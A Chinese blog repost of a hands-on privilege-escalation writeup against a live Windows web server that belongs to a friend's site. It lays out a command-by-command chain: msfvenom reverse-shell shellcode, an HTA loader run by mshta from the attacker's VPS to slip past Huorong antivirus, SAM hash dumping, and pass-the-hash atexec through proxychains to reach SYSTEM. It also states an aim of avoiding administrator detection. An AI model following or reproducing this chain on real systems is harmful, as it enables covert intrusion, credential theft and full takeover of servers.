记一次绕过火绒安全提权实战案例()


本文主要分享【】,技术文章【记一次绕过火绒安全提权实战案例】为【渗透测试中心】投稿,如果你遇到相关问题,本文相关知识或能到你。

0x01 前言
朋友发来一个站让帮看下提权,服务器上安装的有护卫神+火绒+安全狗等安全防护软件,看着确实挺唬人,他也试了不少常用提权EXP,结果都失败了,可能是欠缺免杀EXP能力吧,当然也有可能是修复了这些漏洞,抽空给他看了下并写了这篇记录文章。

在拿到权限后用中国菜刀连了下,不过好像被拦截了,提示: 服务器返回无效或不可识别的响应 ,以前也多次遇到这种情况,这里只要换成Godzilla就能正常连接了。

0x02 服务器基本信息搜集
虽然朋友在测试后给提供了些信息,但还是习惯自己去看下,因为每个人掌握的知识点和实战经验不一样,只有自己看了后才知道安装了哪些环境、WAF/AV和第三方软件,以及开放了哪些端口、打了多少补丁等,这样才能更好对其系统薄弱点进行测试。
目标系统:Windows 2008 R2 (6.1 Build 7601, Service Pack 1). 当前权限:iis apppool\*****.com 支持脚本:ASP、ASPX、PHP,能够直接执行系统命令 开放端口:21(ftp)、80(http)、135(rpc)、443(https)、445(smb)、801(http)、3306(mysql)、2121(G6FTP)、8021(G6FTP)、6588(hws)、58895(TermService) 进程名称:G6FTPServer.exe、G6FTPTray.exe、HwsHostPanel.exe、mysqld.exe、php-cgi.exe、SafeDogUpdateCenter.exe、CloudHelper.exe、SafeDogGuardCenter.exe、SafeDogTray.exe、SafeDogGuardHelper.exe、SafeDogGuardHelper.exe、HipsTray.exe、HipsDaemon.exe、usysdiag.exe

服务器上运行的有:火绒、护卫神主机大师、服务器安全狗、MySQL数据库和G6FTP,可以尝试提权方式有:护卫神主机大师、MySQL和G6FTP,不过在提权过程中得注意下火绒和服务器安全狗的查杀和拦截,尽可能的避免被管理员发现。

0x03 绕过火绒获取MSF会话
个人习惯在MSF下进行提权,首先我们先想办法获取一个会话,火绒默认会拦截web_delivery中的powershell执行和查杀hta_server的hta文件,所以这两种方式在这里是行不通的。

这里我们直接利用mshta白名单来获取MSF会话,首先执行以下命令生成shellcode并执行监听,然后将exp.hta文件中的shellcode替换为MSF的shellcode即可。
[root@p1600778655 ~]# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhost=155.**.***.16 lport=443 -f raw > /tmp/shellcode.bin [root@p1600778655 ~]# cat /tmp/shellcode.bin | base64 -w 0 msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp msf6 exploit(multi/handler) > set lhost 155.**.***.16 msf6 exploit(multi/handler) > set lport 443 msf6 exploit(multi/handler) > exploit

接着我们在VPS上用Python开启一个临时Web用于远程调用,然后再去ASPX大马的执行命令功能处用系统自带的mshta.exe执行exp.hta这个文件后即可上线。
python -m SimpleHTTPServer 8888
python3 -m http.server 8888

0x04 SAM注册表项导出哈希
朋友前期已经测试了很多提权EXP,加上护卫神主机大师为高版本,MySQL也被降权了,所以就不再去测试这些常规方法了,G6FTP还是可以去试一下,不过我这用的是另一种非常规方法。
直接利用 《西部数码云主机失败提权案例》 一文中提到的方法,原理也很简单,当SAM注册表项有Users或Everyone的读取权限时就能利用MSF下的hashdump模块导出哈希。
meterpreter > getuid meterpreter > load powershell meterpreter > powershell_shell PS > Get-Acl -Path HKLM:\SAM\SAM | Format-List meterpreter > run post/windows/gather/hashdump

0x05 atexec提升System权限
已经利用SAM注册表项权限问题导出了主机哈希,但依旧面临着一些问题,如:没有明文密码、破解不了哈希、添加不了用户等,如遇到这种场景时应该怎样进行下一步测试呢?

这时我们可以尝试使用支持HASH传递的远程命令执行工具来执行系统命令,这里以Impacket套件远程命令执行功能中的atexec来做演示,其他支持哈希传递的工具以及利用方式如下。
135端口:
WMIcmd/sharpwmi/WMIHACKER/Sharp-WMIExec;

Impacket:

psexec(445)/wmiexec(135)/smbexec(445)/atexec(445);

利用方式:

Local本地执行 、Socks4/5代理 、Metasploit虚拟路由表;
这里我们先将当前MSF会话添加进虚拟路由,然后再用socks_proxy模块开启一个socks5代理,修改下proxychains.conf配置文件,最后用proxychains代理工具来执行atexec即可。
meterpreter > run get_local_subnets meterpreter > run autoroute -s 59.***.***.0/255.255.255.0 meterpreter > bg msf6 auxiliary(server/socks_proxy) > set username test msf6 auxiliary(server/socks_proxy) > set password 123456 msf6 auxiliary(server/socks_proxy) > run

Kali的proxychains配置默认在/etc/proxychains.conf,而自行编译安装的proxychains4配置在根目录下/src/proxychains.conf,如何修改就不细说了,配置文件里都有例子。
[root@p1600778655 src]# vi /srv/proxychains/src/proxychains.conf

利用proxychains代理工具执行atexec时可能会出现以下报错,且没有命令执行回显,但我们可以先用Ping 9o**mf.dnslog.cn命令看下是否执行成功,如果DNSLog收到数据则说明成功。
[root@p1600778655 ~]# proxychains4 -f /srv/proxychains/src/proxychains.conf python3 /srv/impacket/examples/atexec.py -hashes :ebdccc154cadcda7f5ef0a2149274f3c administrator@59.***.***.230 "cmd /c ping 9o**mf.dnslog.cn"

确定命令执行成功后,我们另起一个命令终端开启MSF监听,然后再用proxychains代理工具执行atexec,这里再次执行前边用到的exp.hta文件后即可得到目标主机SYSTEM。

meterpreter > run get_local_subnets
meterpreter > run autoroute -s 59.***.***.0/255.255.255.0
meterpreter > bg

msf6 auxiliary(server/socks_proxy) > set username test
msf6 auxiliary(server/socks_proxy) > set password 123456
msf6 auxiliary(server/socks_proxy) > run

踩坑记录-1:
如果没有将当前MSF会话添加至虚拟路由时,即使开了Socks5代理也不能用proxychains代理工具执行atexec,会报出以下错误提示,因为MSF的Socks模块是在VPS上开启一个Socks代理,在没有添加虚拟路由前是不能与目标445端口进行通讯,除非是在目标主机上开启Socks代理,然后本地连接目标开启的Socks后才能与目标445端口进行通讯。

踩坑记录-2:
Socks代理流量已经通了,但是在利用proxychains代理工具执行atexec时出现了以下报错,且没有命令执行回显,执行whoami>1.txt命令也写不了文件,当然这可能只是这个环境出现的个别案例,但我们可以通过ping dnslog命令来判断是否执行成功。

0x06 总结 1.通过格拉斯成功连接一句话 2.执行systeminfo 命令发现目录时windows2008r2 SP1 3.执行命令whoami发现iis权限,执行netstat -ano,发现21,80,445,801,3306,等端口开放 4.通过执行命令tasklist/svc,通过在线杀软进程对比,发现目标系统中存在护卫神,火绒,安全狗防护软件 以及数据库mysql和G6FTP 5.执行以下命令生成shellcode并执行监听  msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhost=155.124.145.16   lport=443 -f raw > /tmp/shellcode.bin 6.查看shellcode.bin代码并通过base64输出代码 cat /tmp/shellcode.bin | base64 -w 0 msf6 > set payload windows/meterpreter/reverse_tcp msf6 > set lhost 155.124.145.16 msf6 > set lport 443 msf6 > exploit 7.自定义新建exp.hta,然后将exp.hta文件中的shellcode替换为MSF的shellcode即可。 Dim  binary:binary="rundll32.exe" dim  code:code= "shecode.bin内容的base64" 8.接着在VPS上用Python开启一个临时Web用于远程调用 python -m SimpleHTTPServer 8888 python3 -m http.server 8888 9.通过格拉斯上传APX大马,在ASPX大马的命令中执行 cmdpath: c:\windows\system32\cmd.exe argument: /c  mshta  http://155.124.145.16/exp.hta 10.当SAM注册表项有Users或Everyone的读取权限时就能利用MSF下的hashdump模块导出哈希。 meterpreter > getuid meterpreter > load powershell meterpreter > powershell_shell PS > Get-Acl -Path HKLM:\SAM\SAM | Format-List meterpreter > run post/windows/gather/hashdump 11.已经利用SAM注册表项权限问题导出了主机哈希,但是解密不出来 12.这里我们先将当前MSF会话添加进虚拟路由 meterpreter > run get_local_subnets meterpreter > run autoroute -s 59.***.***.0/255.255.255.0 meterpreter > bg 13.使用socks_proxy模块开启一个socks5代理,。 msf6 auxiliary(server/socks_proxy) > set username test msf6 auxiliary(server/socks_proxy) > set password 123456 msf6 auxiliary(server/socks_proxy) > run 14.Kali的proxychains配置默认在/etc/proxychains.conf,而自行编译安装的proxychains4配置在根目录下/src/proxychains.conf,如何修改就不细说了,配置文件里都有例子。 [root@p1600778655 src]# vi /srv/proxychains/src/proxychains.conf 15.利用proxychains代理工具执行atexec时可能会出现以下报错,且没有命令执行回显,但我们可以先用Ping 9o**mf.dnslog.cn命令看下是否执行成功,如果DNSLog收到数据则说明成功 proxychains4 -f /srv/proxychains/src/proxychains.conf python3 /srv/impacket/examples/atexec.py -hashes :ebdccc154cadcda7f5ef0a2149274f3c administrator@59.***.***.230 "cmd /c ping 9o**mf.dnslog.cn" 16.另起一个命令终端开启MSF监听,然后再用proxychains代理工具执行atexec,这里再次执行前边用到的exp.hta文件后即可得到目标主机SYSTEM msf6 auxiliary(server/socks_proxy) >sessions  -i  1 meterpreter > run get_local_subnets meterpreter > run autoroute -s  59.***.***.0/255.255.255.0 meterpreter > bg msf6 auxiliary(server/socks_proxy) > set username test msf6 auxiliary(server/socks_proxy) > set password 123456 msf6 auxiliary(server/socks_proxy) > run
原文链接: https://mp.weixin.qq.com/s?__biz=Mzg4NTUwMzM1Ng==&mid=2247488543&idx=1&sn=0e300f65f1425e035fcd8cdb9f3dd38c&chksm=cfa6b00cf8d1391aeaae7cb2e7839f041e4c1264df495cbc5d91963820ca617872c95758e063&scene=178&cur_album_id=1553386251775492098#rd

本文《记一次绕过火绒安全提权实战案例》版权归渗透测试中心所有,引用记一次绕过火绒安全提权实战案例需遵循CC 4.0 BY-SA版权协议。


注意!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系我们删除。



 
  © 2014-2022 ITdaan.com 联系我们: